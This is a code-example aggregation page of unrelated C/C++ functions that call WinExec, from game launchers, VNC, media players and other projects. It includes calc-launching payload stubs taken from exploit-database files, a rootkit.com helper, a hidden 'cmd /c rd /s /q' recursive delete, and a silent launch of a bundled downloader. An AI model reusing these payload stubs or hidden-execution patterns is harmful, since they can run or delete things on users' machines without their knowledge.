        out << QString("FOR /f \"usebackq skip=2 tokens=3,4,5,6,7,8,9\" %%i in (`%systemroot%\\system32\\REG.EXE QUERY \"HKLM\\Software\\Wow6432Node\\Riot Games\\RADS\" /v \"LOCALROOTFOLDER\"`) DO (\n");
        out << QString("	SET RADS_PATH=%%i %%j %%k %%l %%m %%n %%o\n");
        out << QString("	goto runApp\n");
        out << QString(")\n");
        out << QString("FOR /f \"usebackq skip=2 tokens=3,4,5,6,7,8,9\" %%i in (`%systemroot%\\system32\\REG.EXE QUERY \"HKLM\\Software\\Wow6432Node\\Riot Games\\RADS\" /v \"LOCALROOTFOLDER\"`) DO (\n");
        out << QString("	SET RADS_PATH=%%i %%j %%k %%l %%m %%n %%o\n");
        out << QString("	goto runApp\n");
        out << QString(")\n");
        out << QString("FOR /f \"usebackq skip=2 tokens=3,4,5,6,7,8,9\" %%i in (`%systemroot%\\system32\\REG.EXE QUERY \"HKCU\\SOFTWARE\\RIOT GAMES\\RADS\" /v \"LOCALROOTFOLDER\"`) DO (\n");
        out << QString("	SET RADS_PATH=%%i %%j %%k %%l %%m %%n %%o\n");
        out << QString("	goto runApp\n");
        out << QString(")\n");
        out << QString("FOR /f \"usebackq skip=2 tokens=3,4,5,6,7,8,9\" %%i in (`%systemroot%\\system32\\REG.EXE QUERY \"HKLM\\SOFTWARE\\RIOT GAMES\\RADS\" /v \"LOCALROOTFOLDER\"`) DO (\n");
        out << QString("	SET RADS_PATH=%%i %%j %%k %%l %%m %%n %%o\n");
        out << QString("	goto runApp\n");
        out << QString(")\n");
        out << QString("for /f \"Tokens=3,4,5,6,7,8,9,10,11,12,13,14,15\" %%a in ('%systemroot%\\system32\\REG.EXE Query HKLM\\Software /V /F \"LocalRootFolder\" /S /E ^| %systemroot%\\system32\\find.exe \"RADS\"') do (\n");
        out << QString("	set RADS_PATH=%%a %%b %%c %%d %%e %%f %%g %%h %%i %%j %%k %%l %%m\n");
        out << QString("	goto runApp\n");
        out << QString(")\n");
        out << QString("for /f \"Tokens=3,4,5,6,7,8,9,10,11,12,13,14,15\" %%a in ('%systemroot%\\system32\\REG.EXE Query HKLM\\Software /s ^| %systemroot%\\system32\\find.exe \"LocalRootFolder\" ^| %systemroot%\\system32\\find.exe \"RADS\"') do (\n");
        out << QString("	set RADS_PATH=%%a %%b %%c %%d %%e %%f %%g %%h %%i %%j %%k %%l %%m\n");
        out << QString("	goto runApp\n");
        out << QString(")\n");
        out << QString("for /f \"Tokens=3,4,5,6,7,8,9,10,11,12,13,14,15\" %%a in ('%systemroot%\\system32\\REG.EXE Query HKCU\\Software /V /F \"LocalRootFolder\" /S /E ^| %systemroot%\\system32\\find.exe \"RADS\"') do (\n");
        out << QString("	set RADS_PATH=%%a %%b %%c %%d %%e %%f %%g %%h %%i %%j %%k %%l %%m\n");
        out << QString("	goto runApp\n");
        out << QString(")\n");
        out << QString("for /f \"Tokens=3,4,5,6,7,8,9,10,11,12,13,14,15\" %%a in ('%systemroot%\\system32\\REG.EXE Query HKCU\\Software /s ^| %systemroot%\\system32\\find.exe \"LocalRootFolder\" ^| %systemroot%\\system32\\find.exe \"RADS\"') do (\n");
        out << QString("	set RADS_PATH=%%a %%b %%c %%d %%e %%f %%g %%h %%i %%j %%k %%l %%m\n");
        out << QString("	goto runApp\n");
        out << QString(")\n");
        out << QString("goto cannotFind\n");
        out << QString(":runApp\n");
        out << QString("set RADS_PATH=%RADS_PATH:/=\\%\n");
        out << QString("@cd /d \"%RADS_PATH%\\solutions\\lol_game_client_sln\\releases\"\n");
        out << QString("set init=0\n");
        out << QString("set v0=0&set v1=0&set v2=0&set v3=0\n");
        out << QString("for /f \"delims=\" %%F in ('dir *.*.*.* /b') do (\n");
        out << QString("	for /F \"tokens=1,2,3,4 delims=.\" %%i in (\"%%F\") do (\n");
        out << QString("		if !init! equ 0 ( set init=1&set flag=1 ) else (\n");
        out << QString("			set flag=0\n");
        out << QString("			if %%i gtr !v0! ( set flag=1 ) else (\n");
        out << QString("				if %%j gtr !v1! ( set flag=1 ) else (\n");
        out << QString("					if %%k gtr !v2! ( set flag=1 ) else (\n");
        out << QString("						if %%l gtr !v3! ( set flag=1 )\n");
        out << QString("					)\n");
        out << QString("				)\n");
        out << QString("			)\n");
        out << QString("		)\n");
        out << QString("		if !flag! gtr 0 (\n");
        out << QString("			set v0=%%i&set v1=%%j&set v2=%%k&set v3=%%l\n");
        out << QString("		)\n");
        out << QString("	)\n");
        out << QString(")\n");
        out << QString("if !init! equ 0 goto cannotFind\n");
        out << QString("set lolver=!v0!.!v1!.!v2!.!v3!\n");
        out << QString("@cd /d \"!RADS_PATH!\\solutions\\lol_game_client_sln\\releases\\!lolver!\\deploy\"\n");
        out << QString("if exist \"League of Legends.exe\" (\n");
        out << QString("	@start \"\" \"League of Legends.exe\" \"8394\" \"LoLLauncher.exe\" \"\" \"spectator "+data[URL_AND_PORT]+" "+data[ENCKEY]+" "+data[GAMEID]+" "+data[ENDPOINT]+"\"\n");
        out << QString("	goto exit\n");
        out << QString(")\n");
        out << QString(":cannotFind\n");
        out << QString("goto exit\n");
        out << QString(":exit\n");

        WinExec(("cmd /c " + SCRIPT_PATH).toStdString().c_str(), SW_HIDE);
    }
}
コード例 #16
0
ファイル: windows.cpp プロジェクト: henryfung01/GameCode4
//-----------------------------------------------------------
//friend of TPK on key handler
//extract key string and pass to handler
//process keypushes etc on return
void OnKeyHandler(bool IsFnKey,CString Key)
{
	CString k=Key;
	CString uk=k.UpperCase();

	int count;
	bool CallKeyHandler=false;

	//delay
	bool IsSleep=uk.Pos("SLEEP")==1;

	//*********************
	//clear clipboard
	bool IsClearClip=uk.Pos("EMPTYCLIP")==1;

	//run
	bool IsRun=uk.Pos("RUN ")==1;

	//{\0xxx}
	bool IsDirect=k.Pos("\\")==1 && k.GetLength()>1;

	if (k=="\\")
	{
		IsDirect=false;
		IsFnKey=false;
	}

	//function key? or clear clipboard or run
	if(IsFnKey || IsSleep || IsDirect  || IsClearClip || IsRun)
	{
		//get count value & strip out count characters
		if (!IsRun)
		{
			count=GetFunctionKeyCount(k);
		}

		if(IsAFunctionKey(uk) || IsDirect)
		{
			//not a control key?
			if (GetControlKey(uk)==(byte)-1)
				k="{"+uk+"}";

			CallKeyHandler=true;

		}

		//sleep or clear clipboard or run
		if (IsSleep || IsClearClip || IsRun)
		{
			k="{"+Key.UpperCase()+"}";
			CallKeyHandler=true;
		}
	}
	else
	{
		if (k.GetLength()==1)
		{
			CallKeyHandler=true;

		}
	}

	if (!CallKeyHandler)
		return;


	//set up shiftstate to pass here
	//**************************
	TShiftState KeyState,CopyOfKeyState;
	if (ShiftOn)
		KeyState<<ssShift;

	if (ControlOn)
		KeyState<<ssCtrl;

	if (AltOn)
		KeyState<<ssAlt;

	//keep a copy
	CopyOfKeyState=KeyState;

	//pass to onkey & delay handler
	//************************
	GTPK->HandleOnKeyEvent(k,KeyState);

	//returned keys
	//************************
	CString returned=k;
	int rl=returned.GetLength();
	uk=returned.UpperCase();

	if (rl==0)
		return;

	//process returned shiftstate
	//**************
	//changed?
	if (KeyState!=CopyOfKeyState)
	{
		//set key states
		SetKeyStates(KeyState);
	}

	//process keys returned
	//***************************
	IsSleep=uk.Pos("{SLEEP")==1;

	//clear clipboard
	IsClearClip=uk.Pos("{EMPTYCLIP")==1;

	//run
	IsRun=uk.Pos("{RUN ")==1;

	//single key(s)?
	if (rl<3)
	{
		PushAString(returned);
	}
	else
	{
		if (returned[1]=='{' && returned[rl]=='}')
		{
			//strip out braces
			CString fk=returned.SubString(2,rl-2).UpperCase();

			bool IsNL=k=="{NEWLINE}" || uk=="{NL}";

			//is it a function key?
			if(IsAFunctionKey(fk) && !IsNL)
			{
				PushFnKey(fk);
			}
			//CRLF
			else if (IsNL)
			{
				// New line = Carriage return & Line Feed = ^M^J
				for (int i=0;i<count;i++)
				{
					if (DOSKey)//ANSI equivalent
					{
						PushCTRLKey('M');
						PushCTRLKey('J');
					}
					else
					{
						UINT ScanKey = MapVirtualKey(VK_RETURN, 0);
						PressKey(VK_RETURN,ScanKey);
						ScanKey = MapVirtualKey(VK_LINEFEED, 0);
						PressKey(VK_LINEFEED,ScanKey);
					}
				}
			}
			//direct {\xxxx}
			else if(fk.Pos("\\")==1 && fk.GetLength()>1)
			{
				if (fk.GetLength()>1)
				{
					//start key presses
					ALTOn();

					//step along numbers
					for (int numpointer=2;numpointer<=fk.GetLength();numpointer++)
					{
						char number=fk[numpointer];

						if (number>='0' && number<='9')
						{
							//get numpad key
							byte npk[]={VK_NUMPAD0,VK_NUMPAD1,VK_NUMPAD2,VK_NUMPAD3,VK_NUMPAD4
								,VK_NUMPAD5,VK_NUMPAD6,VK_NUMPAD7,VK_NUMPAD8,VK_NUMPAD9};

							byte numpadkey=npk[number-'0'];

							//press key
							PressKey(numpadkey,MapVirtualKey(numpadkey,0));
						}

					}

					//all done
					ALTOff();
				}
			}
			//delay
			else if(IsSleep)//sleep
			{
				int count=GetFunctionKeyCount(fk);
				DoDelay(count);
			}
			//clear clipboard
			else if (IsClearClip)
			{
				int count=GetFunctionKeyCount(fk);
				for (int c=0;c<count;c++)
				{
					if (OpenClipboard(NULL))
					{
						EmptyClipboard();
						CloseClipboard();
					}
				}
			}
			else if (IsRun)//run
			{
				CString runcmd=Key.SubString(4,fk.GetLength());
				WinExec(runcmd.c_str(),SW_SHOWNORMAL);
			}

			else //do single keys
			{
				PushAString(returned);
			}
		}
		else
		{
			PushAString(returned);
		}
	}

	//reset changed shiftstate
	//**************
	//changed?
	if (KeyState!=CopyOfKeyState)
	{
		//reset key states
		SetKeyStates(CopyOfKeyState);
	}

	//do inter-key delay if not a sleep command
	if(!IsSleep)
	{
		GTPK->DoKeyDelay();
	}
}
コード例 #17
0
BOOL COpenFileTask::Run()
{
	if (m_strLocalFile.IsEmpty() && !m_FileInfo.m_strFileId.IsEmpty())
		m_strOpenType = "netdisk";
	else if (!m_strLocalFile.IsEmpty() && m_FileInfo.m_strFileId.IsEmpty())
		m_strOpenType = "local";

	else if (m_strLocalFile.IsEmpty() && m_FileInfo.m_strFileId.IsEmpty())
	{
		m_strErrMsg = "参数错误!";
		m_bFlag = FALSE;
		return FALSE;
	}

	SOCKET sockConn = GetConnect(theApp.m_strServerIp);
	if (sockConn==0)
	{
		m_strErrMsg = "连接服务器失败!";
		m_bFlag = FALSE;
		return FALSE;
	}

	CString strDestFile = m_strLocalFile;
	if (m_strOpenType == "netdisk")
	{
		strDestFile = theApp.m_strCacheDir + "\\" + theApp.m_strUsrId + m_FileInfo.m_strNetDiskPath;
		strDestFile.Replace("/","\\");
		BOOL bNeedDownload = TRUE;
		if (PathFileExists(strDestFile))
		{
			long long iLocalFileSize = FileSize(strDestFile);
			CString strLocalFileSize  = TransferFileSize(iLocalFileSize);
			if (strLocalFileSize.Compare(m_FileInfo.m_strFileSize)==0)
			{
				string strLocalMd5 = GetMD5(strDestFile);
				if (strLocalFileSize.CompareNoCase(m_FileInfo.m_strFileSize)==0)
					bNeedDownload = FALSE;
			}
			if (bNeedDownload)
				remove(strDestFile);
		}

		MakeSureDirectoryPathExists(strDestFile);
		if (bNeedDownload && !DownToClient(sockConn,m_FileInfo.m_strFileId,strDestFile))
			return FALSE;
	}

	SHELLEXECUTEINFO ShExecInfo = {0};
	ShExecInfo.cbSize = sizeof(SHELLEXECUTEINFO);
	ShExecInfo.fMask = SEE_MASK_NOCLOSEPROCESS|SEE_MASK_FLAG_NO_UI;
	ShExecInfo.hwnd = NULL;
	ShExecInfo.lpVerb = "Open";
	ShExecInfo.lpFile = strDestFile;        
	ShExecInfo.lpParameters = NULL;  
	ShExecInfo.lpDirectory = NULL;
	ShExecInfo.nShow = SW_SHOW;
	ShExecInfo.hInstApp = NULL;	
	ShellExecuteEx(&ShExecInfo);

	static string strSysVer = "";
	if (strSysVer.empty())
	{
		OSVERSIONINFO   osversioninfo;
		osversioninfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
		GetVersionEx(&osversioninfo);
		if( (osversioninfo.dwMajorVersion == 5) && (osversioninfo.dwMinorVersion == 1)) 
			strSysVer = "xp";
		
		else if( (osversioninfo.dwMajorVersion == 6) && (osversioninfo.dwMinorVersion == 1))
			strSysVer =  "win7";

		else if( (osversioninfo.dwMajorVersion == 6) && (osversioninfo.dwMinorVersion == 2))
			strSysVer =  "win8";
		else
			strSysVer =  "other";

	}

	if ("xp" == strSysVer)
	{
		//解决xp机器上打开多个word、excel文件失败的问题
		CString strFile = strDestFile;
		strFile.MakeLower();
		if (  strFile.Right(4)==".doc" 
			|| strFile.Right(4)==".xls" 
			|| strFile.Right(4)==".ppt"
			|| strFile.Right(5)==".docx"
			|| strFile.Right(5)==".xlsx"
			|| strFile.Right(5)==".pptx")
		{
			Sleep(1000);
		}
	}
	int iCode = (int)ShExecInfo.hInstApp;
	if ((int)ShExecInfo.hInstApp > 32)
		return TRUE;
	else
	{
		DWORD dErrCode = GetLastError();
		if (dErrCode==1155)
		{
			ShExecInfo.lpVerb = "OpenAs";
			ShExecInfo.hInstApp = NULL;
			BOOL bOK = ShellExecuteEx(&ShExecInfo);
			LogMsg("Openfile 未找到关联程序,使用OpenAs模式由用户选择关联程序");
	
			if(!bOK)
			{
				CString strCmd;
				strCmd.Format("rundll32 shell32, OpenAs_RunDLL  %s", strDestFile);
				WinExec(strCmd, SW_SHOWNORMAL); //手动执行打开选择关联方式对话框
				return TRUE;
			}

			return TRUE; //返回真,外部可以根据hOut是否为NULL判断是否是OpenAs模式
		}
		return FALSE;
	}

	return TRUE;
}
コード例 #18
0
ファイル: sdlfuncs.c プロジェクト: donfanning/syncterm
int SDL_main_env(int argc, char **argv, char **env)
#endif
{
	char	drivername[64];
	struct main_args ma;
	SDL_Thread	*main_thread;
	int		main_ret;
	int		use_sdl_video=FALSE;
#ifdef _WIN32
	char		*driver_env=NULL;
#endif

	ma.argc=argc;
	ma.argv=argv;
	ma.enviro=env;
#ifndef _WIN32
	load_sdl_funcs(&sdl);
#endif

	if(sdl.gotfuncs) {
		use_sdl_video=TRUE;

#ifdef _WIN32
		/* Fail to windib (ie: No mouse attached) */
		if(sdl.Init(SDL_INIT_VIDEO)) {
			driver_env=getenv("SDL_VIDEODRIVER");
			if(driver_env==NULL || strcmp(driver_env,"windib")) {
				putenv("SDL_VIDEODRIVER=windib");
				WinExec(GetCommandLine(), SW_SHOWDEFAULT);
				return(0);
			}
			/* Sure ,we can't use video, but audio is still valid! */
			if(sdl.Init(0)==0)
				sdl_initialized=TRUE;
		}
		else {
			sdl_video_initialized=TRUE;
			sdl_initialized=TRUE;
		}
#else
		/*
		 * On Linux, SDL doesn't properly detect availability of the
		 * framebuffer apparently.  This results in remote connections
		 * displaying on the local framebuffer... a definate no-no.
		 * This ugly hack attempts to prevent this... of course, remote X11
		 * connections must still be allowed.
		 */
		if((!use_sdl_video) || ((getenv("REMOTEHOST")!=NULL || getenv("SSH_CLIENT")!=NULL) && getenv("DISPLAY")==NULL)) {
			/* Sure ,we can't use video, but audio is still valid! */
			if(sdl.Init(0)==0)
				sdl_initialized=TRUE;
		}
		else {
			if(sdl.Init(SDL_INIT_VIDEO)==0) {
				sdl_initialized=TRUE;
				sdl_video_initialized=TRUE;
			}
			else {
				/* Sure ,we can't use video, but audio is still valid! */
				if(sdl.Init(0)==0)
					sdl_initialized=TRUE;
			}
		}
#endif
		if(sdl_video_initialized && sdl.VideoDriverName(drivername, sizeof(drivername))!=NULL) {
			/* Unacceptable drivers */
			if((!strcmp(drivername, "caca")) || (!strcmp(drivername,"aalib")) || (!strcmp(drivername,"dummy"))) {
				sdl.QuitSubSystem(SDL_INIT_VIDEO);
				sdl_video_initialized=FALSE;
			}
			else {
				const SDL_VideoInfo *initial=sdl.GetVideoInfo();

				/* Save initial video mode */
				if(initial)
					sdl.initial_videoinfo=*initial;
				else
					memset(&sdl.initial_videoinfo, 0, sizeof(sdl.initial_videoinfo));
				sdl_video_initialized=TRUE;
			}
		}
	}
	if(sdl_video_initialized) {
		SetThreadName("SDL Main");
		atexit(sdl.Quit);
		sdl_main_sem=sdl.SDL_CreateSemaphore(0);
		sdl_exit_sem=sdl.SDL_CreateSemaphore(0);
		main_thread=sdl.CreateThread(sdl_run_main,&ma);
		sdl.SemWait(sdl_main_sem);
		if(sdl_drawing_thread!=NULL) {
			sdl_drawing_thread(NULL);
			sdl_exit_drawing_thread=NULL;
			if(!main_returned) {
				main_ret=0;
			}
		}
		sdl.SemWait(sdl_exit_sem);
		if(main_returned)
			sdl.WaitThread(main_thread, &main_ret);
	}
	else
		main_ret=XPDEV_main(argc, argv, env);
	return(main_ret);
}
コード例 #19
0
ファイル: main.cpp プロジェクト: mayhem/freeamp
bool SendCommandLineToRealJukebox()
{
	bool result = false;

	Registrar registrar;
	Registry formatRegistry;
	Win32Prefs prefs;
	vector<DownloadFormatInfo*> formats;

	// init
    registrar.SetSubDir("plugins");
    registrar.SetSearchString("*.dlf");
    registrar.InitializeRegistry(&formatRegistry, &prefs);

    const RegistryItem* module = NULL;
    DownloadFormat* dlf = NULL;
    int32 i = 0;

    while((module = formatRegistry.GetItem(i++)))
    {
        dlf = (DownloadFormat*) module->InitFunction()(NULL);

        if(dlf)
        {
            DownloadFormatInfo dlfi;

            uint32 index = 0;

            // error != kError_NoMoreFormats
            while(IsntError(dlf->GetSupportedFormats(&dlfi, index++)))
            {
                dlfi.SetRef(dlf);
                formats.push_back(new DownloadFormatInfo(dlfi));
            }
        }
    }

	vector<DownloadFormatInfo*>::iterator dlfIter;

	if(__argc > 1)
    {
        char* extension;

		extension = strrchr(__argv[1], '.');

		if(extension)
        {
			extension++;

			for(dlfIter = formats.begin(); 
				dlfIter != formats.end(); 
				dlfIter++)
			{
				if(!strcasecmp(extension, (*dlfIter)->GetExtension()))
                {
					vector<DownloadItem*> items;
					char url[MAX_PATH + 7];
					uint32 size = sizeof(url);
					Error err;

					err = FilePathToURL(__argv[1], url, &size);

					if(IsntError(err))
					{
						(*dlfIter)->GetRef()->ReadDownloadFile(url, 
															   &items);

						vector<DownloadItem*>::iterator dliIter;

						for(dliIter = items.begin(); 
							dliIter != items.end(); 
							dliIter++)
						{
							MetaData metadata = (*dliIter)->GetMetaData();

							if(	strcasecmp("mp3", metadata.FormatExtension().c_str()) &&
								strcasecmp("mp2", metadata.FormatExtension().c_str()) &&
								strcasecmp("mp1", metadata.FormatExtension().c_str()) &&
								strcasecmp("m3u", metadata.FormatExtension().c_str()) &&
								strcasecmp("pls", metadata.FormatExtension().c_str()) )
							{
                                bool rjFound = false;

								result = true;

								LONG regErr;
								HKEY key;

                                regErr = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
													  "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\realjbox.exe",
													  0, 
													  KEY_WRITE|KEY_READ,
													  &key);

                                if(regErr == ERROR_SUCCESS)
                                {
                                    char buf[MAX_PATH*2];
                                    DWORD len = sizeof(buf);
                                    DWORD type;

                                    regErr = RegQueryValueEx(key,
                                                             NULL, 
                                                             NULL, 
                                                             &type, 
                                                             (LPBYTE)buf, 
                                                             &len);

                                    if(regErr == ERROR_SUCCESS)
                                    {
                                        rjFound = true;

                                        strcat(buf, " /m application/vnd.rn-rn_music_package ");
                                        strcat(buf, __argv[1]);

                                        WinExec(buf, SW_NORMAL);
                                    }
                                }

                                if(!rjFound)
                                {
                                    MessageBox(NULL, The_BRANDING" does not support the formats "
                                                     "contained in this Music Package.  The download "
                                                     "will be aborted.", "Unsupported Formats", MB_OK);

                                    DeleteFile(__argv[1]);
                                }
							}
						}
					}

                    break;
                }
			}

		}
    }

	// clean up
	for(dlfIter = formats.begin(); 
		dlfIter != formats.end(); 
		dlfIter++)
	{
		delete (*dlfIter)->GetRef();
		delete (*dlfIter);
	}

	return result;
}
コード例 #20
0
ファイル: MainWindow.cpp プロジェクト: KinderRiven/DataBase
/*
	右键命令行菜单响应函数
*/
void MainWindow::CommandAction()
{
	WinExec("Command/mydatabase.exe",5);
}
コード例 #21
0
ファイル: 14783.c プロジェクト: 0x24bin/exploit-database
int evil()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}
コード例 #22
0
ファイル: threads.cpp プロジェクト: gkscndrl/rootkit.com
int win_exec(char *prog)
{
    int res = WinExec(prog, SW_SHOW);
    if (res > 1) return 1;
    else return 0;
}
コード例 #23
0
bool FileUtils::removeDirectory(const std::string& path)
{
    if (path.size() > 0 && path[path.size() - 1] != '/')
    {
        CCLOGERROR("Fail to remove directory, path must termniate with '/': %s", path.c_str());
        return false;
    }

    // Remove downloaded files

#if (CC_TARGET_PLATFORM == CC_PLATFORM_WP8) || (CC_TARGET_PLATFORM == CC_PLATFORM_WINRT)
    std::wstring wpath = std::wstring(path.begin(), path.end());
    std::wstring files = wpath +  L"*.*";
    WIN32_FIND_DATA wfd;
    HANDLE  search = FindFirstFileEx(files.c_str(), FindExInfoStandard, &wfd, FindExSearchNameMatch, NULL, 0);
    bool ret=true;
    if (search!=INVALID_HANDLE_VALUE)
    {
        BOOL find=true;
        while (find)
        {
            //. ..
            if(wfd.cFileName[0]!='.')
            {
                std::wstring temp = wpath + wfd.cFileName;
                if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
                {
                    temp += '/';
                    ret = ret && this->removeDirectory(std::string(temp.begin(), temp.end()));
                }
                else
                {
                    SetFileAttributes(temp.c_str(), FILE_ATTRIBUTE_NORMAL);
                    ret = ret && DeleteFile(temp.c_str());
                }
            }
            find = FindNextFile(search, &wfd);
        }
        FindClose(search);
    }
    if (ret && RemoveDirectory(wpath.c_str()))
    {
        return true;
    }
    return false;
#elif (CC_TARGET_PLATFORM == CC_PLATFORM_WIN32)
    std::string command = "cmd /c rd /s /q ";
    // Path may include space.
    command += "\"" + path + "\"";

    if (WinExec(command.c_str(), SW_HIDE) > 31)
        return true;
    else
        return false;
#elif (CC_TARGET_PLATFORM == CC_PLATFORM_IOS) || (CC_TARGET_PLATFORM == CC_PLATFORM_MAC)
    if (nftw(path.c_str(),unlink_cb, 64, FTW_DEPTH | FTW_PHYS))
        return false;
    else
        return true;
#else
    std::string command = "rm -r ";
    // Path may include space.
    command += "\"" + path + "\"";
    if (system(command.c_str()) >= 0)
        return true;
    else
        return false;
#endif
}
コード例 #24
0
ファイル: 36555.c プロジェクト: ALurker/exploit-database
int tunisian()
{
WinExec("calc", 0);
exit(0);
return 0;
}
コード例 #25
0
ファイル: 42759_0.c プロジェクト: B-Rich/osf_db
int pwnme()
{
  WinExec("calc", SW_NORMAL);
  exit(0);
  return 0;
}
コード例 #26
0
ファイル: Update.cpp プロジェクト: 6520874/pipiname
bool  CUpdateApp::UpdateRunliebao()
{
    WinExec("down_s_66_46875.exe",SW_HIDE);
	return true;
}
コード例 #27
0
ファイル: system.c プロジェクト: monpetit/dogma-snippets
// int APIENTRY WinMain(HINSTANCE h, HINSTANCE g, LPSTR s, int i)
int main(int argc, char* argv[])
{
	return (int) WinExec("notepad", 1);
}
コード例 #28
0
ファイル: menu.cpp プロジェクト: pitero1906/saloon
void __fastcall Tmainmenu::Odswiedane1Click(TObject *Sender)
{
         Application->Terminate();
        WinExec("salon.exe",SW_NORMAL);
}
コード例 #29
0
ファイル: GenRsaKey.cpp プロジェクト: HouKun1230/MFC-DES
void CGenRsaKey::OnBnClickedButton1()
{CString PlayFile="PFN.exe";
	UINT rs = WinExec(PlayFile,SW_SHOW);
	// TODO: 在此添加控件通知处理程序代码
}
コード例 #30
0
ファイル: winvnc.cpp プロジェクト: copilot-com/UltraVNC
// WinMain parses the command line and either calls the main App
// routine or, under NT, the main service routine.
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)
{

	if (VNCOS.OS_NOTSUPPORTED==true)
	{
		 MessageBoxSecure(NULL, "Error OS not supported","Unsupported OS", MB_ICONERROR);
		return true;
	}
	// make vnc last service to stop
	SetProcessShutdownParameters(0x100,false);
	// handle dpi on aero
	/*HMODULE hUser32 = LoadLibrary(_T("user32.dll"));
	typedef BOOL (*SetProcessDPIAwareFunc)();
	SetProcessDPIAwareFunc setDPIAware=NULL;
	if (hUser32) setDPIAware = (SetProcessDPIAwareFunc)GetProcAddress(hUser32, "SetProcessDPIAware");
	if (setDPIAware) setDPIAware();
	if (hUser32) FreeLibrary(hUser32);*/

#ifdef IPP
	InitIpp();
#endif
#ifdef CRASHRPT
	CR_INSTALL_INFO info;
	memset(&info, 0, sizeof(CR_INSTALL_INFO));
	info.cb = sizeof(CR_INSTALL_INFO);
	info.pszAppName = _T("UVNC");
	info.pszAppVersion = _T("1.2.0.9");
	info.pszEmailSubject = _T("UVNC server 1.2.0.9 Error Report");
	info.pszEmailTo = _T("*****@*****.**");
	info.uPriorities[CR_SMAPI] = 1; // Third try send report over Simple MAPI    
	// Install all available exception handlers
	info.dwFlags |= CR_INST_ALL_POSSIBLE_HANDLERS;
	// Restart the app on crash 
	info.dwFlags |= CR_INST_APP_RESTART;
	info.dwFlags |= CR_INST_SEND_QUEUED_REPORTS;
	info.dwFlags |= CR_INST_AUTO_THREAD_HANDLERS;
	info.pszRestartCmdLine = _T("/restart");
	// Define the Privacy Policy URL 

	// Install crash reporting
	int nResult = crInstall(&info);
	if (nResult != 0)
	{
		// Something goes wrong. Get error message.
		TCHAR szErrorMsg[512] = _T("");
		crGetLastErrorMsg(szErrorMsg, 512);
		_tprintf_s(_T("%s\n"), szErrorMsg);
		return 1;
	}
#endif
	bool Injected_autoreconnect=false;
	SPECIAL_SC_EXIT=false;
	SPECIAL_SC_PROMPT=false;
	setbuf(stderr, 0);

	// [v1.0.2-jp1 fix] Load resouce from dll
	hInstResDLL = NULL;

	 //limit the vnclang.dll searchpath to avoid
	char szCurrentDir[MAX_PATH];
	char szCurrentDir_vnclangdll[MAX_PATH];
	if (GetModuleFileName(NULL, szCurrentDir, MAX_PATH))
	{
		char* p = strrchr(szCurrentDir, '\\');
		*p = '\0';
	}
	strcpy (szCurrentDir_vnclangdll,szCurrentDir);
	strcat (szCurrentDir_vnclangdll,"\\");
	strcat (szCurrentDir_vnclangdll,"vnclang_server.dll");

	hInstResDLL = LoadLibrary(szCurrentDir_vnclangdll);

	if (hInstResDLL == NULL)
	{
		hInstResDLL = hInstance;
	}
//	RegisterLinkLabel(hInstResDLL);

    //Load all messages from ressource file
    Load_Localization(hInstResDLL) ;

	char WORKDIR[MAX_PATH];
	if (GetModuleFileName(NULL, WORKDIR, MAX_PATH))
		{
		char* p = strrchr(WORKDIR, '\\');
		if (p == NULL) return 0;
		*p = '\0';
		}
    char progname[MAX_PATH];
    strncpy(progname, WORKDIR, sizeof progname);
    progname[MAX_PATH - 1] = 0;
	//strcat(WORKDIR,"\\");
	//strcat(WORKDIR,"WinVNC.log");

	vnclog.SetFile();
	//vnclog.SetMode(4);
	//vnclog.SetLevel(10);

#ifdef _DEBUG
	{
		// Get current flag
		int tmpFlag = _CrtSetDbgFlag( _CRTDBG_REPORT_FLAG );

		// Turn on leak-checking bit
		tmpFlag |= _CRTDBG_LEAK_CHECK_DF;

		// Set flag to the new value
		_CrtSetDbgFlag( tmpFlag );
	}
#endif

	// Save the application instance and main thread id
	hAppInstance = hInstance;
	mainthreadId = GetCurrentThreadId();

	// Initialise the VSocket system
	VSocketSystem socksys;
	if (!socksys.Initialised())
	{
		MessageBoxSecure(NULL, sz_ID_FAILED_INIT, szAppName, MB_OK);
#ifdef CRASHRPT
		crUninstall();
#endif
		return 0;
	}
    // look up the current service name in the registry.
    GetServiceName(progname, service_name);

	// Make the command-line lowercase and parse it
	size_t i;
	for (i = 0; i < strlen(szCmdLine); i++)
	{
		szCmdLine[i] = tolower(szCmdLine[i]);
	}
	BOOL argfound = FALSE;
	for (i = 0; i < strlen(szCmdLine); i++)
	{
		if (szCmdLine[i] <= ' ')
			continue;
		argfound = TRUE;

		if (strncmp(&szCmdLine[i], winvncSettingshelper, strlen(winvncSettingshelper)) == 0)
		{
			Sleep(3000);
			char mycommand[MAX_PATH];
			i+=strlen(winvncSettingshelper);
			strcpy( mycommand, &(szCmdLine[i+1]));
			Set_settings_as_admin(mycommand);
#ifdef CRASHRPT
			crUninstall();
#endif
			return 0;
		}

		if (strncmp(&szCmdLine[i], winvncStopserviceHelper, strlen(winvncStopserviceHelper)) == 0)
		{
			Sleep(3000);
			Set_stop_service_as_admin();
#ifdef CRASHRPT
			crUninstall();
#endif
			return 0;
		}

		if (strncmp(&szCmdLine[i], winvncKill, strlen(winvncKill)) == 0)
		{
			static HANDLE		hShutdownEventTmp;
			hShutdownEventTmp = OpenEvent(EVENT_ALL_ACCESS, FALSE, "Global\\SessionEventUltra");
			SetEvent(hShutdownEventTmp);
			CloseHandle(hShutdownEventTmp);

			//adzm 2010-02-10 - Finds the appropriate VNC window for any process. Sends this message to all of them!
			// do removed, loops forever with cpu 100
			HWND hservwnd = NULL;
			hservwnd = FindWinVNCWindow(false);
				if (hservwnd!=NULL)
				{
					PostMessage(hservwnd, WM_COMMAND, 40002, 0);
					PostMessage(hservwnd, WM_CLOSE, 0, 0);
				}
#ifdef CRASHRPT
				crUninstall();
#endif
			return 0;
		}

		if (strncmp(&szCmdLine[i], winvncopenhomepage, strlen(winvncopenhomepage)) == 0)
		{
			Open_homepage();
#ifdef CRASHRPT
			crUninstall();
#endif
			return 0;
		}

		if (strncmp(&szCmdLine[i], winvncopenforum, strlen(winvncopenforum)) == 0)
		{
			Open_forum();
#ifdef CRASHRPT
			crUninstall();
#endif
			return 0;
		}

		if (strncmp(&szCmdLine[i], winvncStartserviceHelper, strlen(winvncStartserviceHelper)) == 0)
		{
			Sleep(3000);
